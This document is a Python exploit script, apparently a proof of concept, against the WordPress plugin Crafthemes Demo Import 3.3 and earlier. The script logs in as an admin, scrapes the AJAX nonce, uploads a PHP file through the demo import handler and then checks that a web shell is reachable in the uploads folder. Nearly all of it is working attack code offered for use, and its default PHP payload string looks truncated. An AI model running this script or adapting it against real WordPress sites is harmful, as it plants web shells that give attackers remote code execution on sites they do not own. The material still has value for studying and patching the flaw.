import requests import argparse from bs4 import BeautifulSoup import re import logging banner = """ ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗ █████╗ ██████╗ █████╗ █████╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██║ ██║ ██╔══██╗██╔════╝██╔══██╗██╔══██╗ ██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████║█████╗╚██████║███████╗╚██████║╚█████╔╝ ██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝ ╚═══██║██╔═══██╗╚═══██║██╔══██╗ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗ ██║ █████╔╝╚██████╔╝█████╔╝╚█████╔╝ ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═╝ ╚════╝ ╚═════╝ ╚════╝ ╚════╝ by Nxploit - Khaled_alenazi """ logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') def check_vulnerability(version_url, user_agent): try: response = requests.get(version_url, headers={"User-Agent": user_agent}, verify=False) response.raise_for_status() except requests.RequestException as e: logging.error(f"Failed to retrieve plugin version: {e}") return None version_text = response.text version_match = re.search(r'Stable tag: (\d+\.\d+|trunk)', version_text) if version_match: return version_match.group(1) else: logging.error("Could not determine version.") return None def login(session, login_url, login_data, headers): try: response = session.post(login_url, data=login_data, headers=headers, verify=False) response.raise_for_status() except requests.RequestException as e: logging.error(f"Login request failed: {e}") return False if any('wordpress_logged_in' in cookie.name for cookie in session.cookies): logging.info("Logged in successfully.") return True else: logging.error("Failed to log in.") return False def extract_nonce(soup): nonce_value = None for script in soup.find_all("script"): script_text = script.text if "ajax_nonce" in script_text: nonce_match = re.search(r'"ajax_nonce":"([a-zA-Z0-9]+)"', script_text) if nonce_match: nonce_value = nonce_match.group(1) break return nonce_value def main(): print(banner) parser = argparse.ArgumentParser(description='Crafthemes Demo Import <= 3.3 - Authenticated (Admin+) Arbitrary File Upload in process_uploaded_files') parser.add_argument('--url', required=True, help='Target WordPress URL') parser.add_argument('--username', required=True, help='WordPress username') parser.add_argument('--password', required=True, help='WordPress password') parser.add_argument('--payload', default='$output";\n?>', help='Custom PHP payload') args = parser.parse_args() session = requests.Session() user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0" version_url = f"{args.url}/wp-content/plugins/crafthemes-demo-import/readme.txt" version = check_vulnerability(version_url, user_agent) if not version: exit() if version != "trunk" and float(version) > 3.3: logging.error("Target is not vulnerable, exiting.") exit() login_url = f"{args.url}/wp-login.php" login_data = { 'log': args.username, 'pwd': args.password, 'rememberme': 'forever', 'wp-submit': 'Log+In' } headers = {"User-Agent": user_agent} if not login(session, login_url, login_data, headers): exit() admin_page = f"{args.url}/wp-admin/admin.php?page=ct-crafthemes-demo-import" try: admin_response = session.get(admin_page, headers=headers, verify=False) admin_response.raise_for_status() except requests.RequestException as e: logging.error(f"Failed to load admin page: {e}") exit() soup = BeautifulSoup(admin_response.text, 'html.parser') nonce_value = extract_nonce(soup) if nonce_value: logging.info(f"Extracted nonce: {nonce_value}") else: logging.error("Failed to extract nonce.") exit() upload_url = f"{args.url}/wp-admin/admin-ajax.php" files = { 'action': (None, 'CT_CTDI_import_demo_data'), 'security': (None, nonce_value), 'selected': (None, 'undefined'), 'content_file': (None, 'undefined'), 'widget_file': (None, 'undefined'), 'customizer_file': ('Nxploit.php', args.payload, 'application/x-php') } try: upload_response = session.post(upload_url, files=files, headers=headers, verify=False) upload_response.raise_for_status() except requests.RequestException as e: logging.error(f"Upload request failed: {e}") exit() if '{"status":"customizerAJAX"}' in upload_response.text: shell_url = f"{args.url}/wp-content/uploads/2025/02/Nxploit.php" try: check_shell = session.get(shell_url, headers=headers, verify=False) check_shell.raise_for_status() logging.info(f"[+] Shell uploaded successfully: {shell_url}") except requests.RequestException as e: logging.error(f"Shell upload response received, but file not found on server: {e}") else: logging.error(f"Unexpected response: {upload_response.text}") if __name__ == "__main__": main()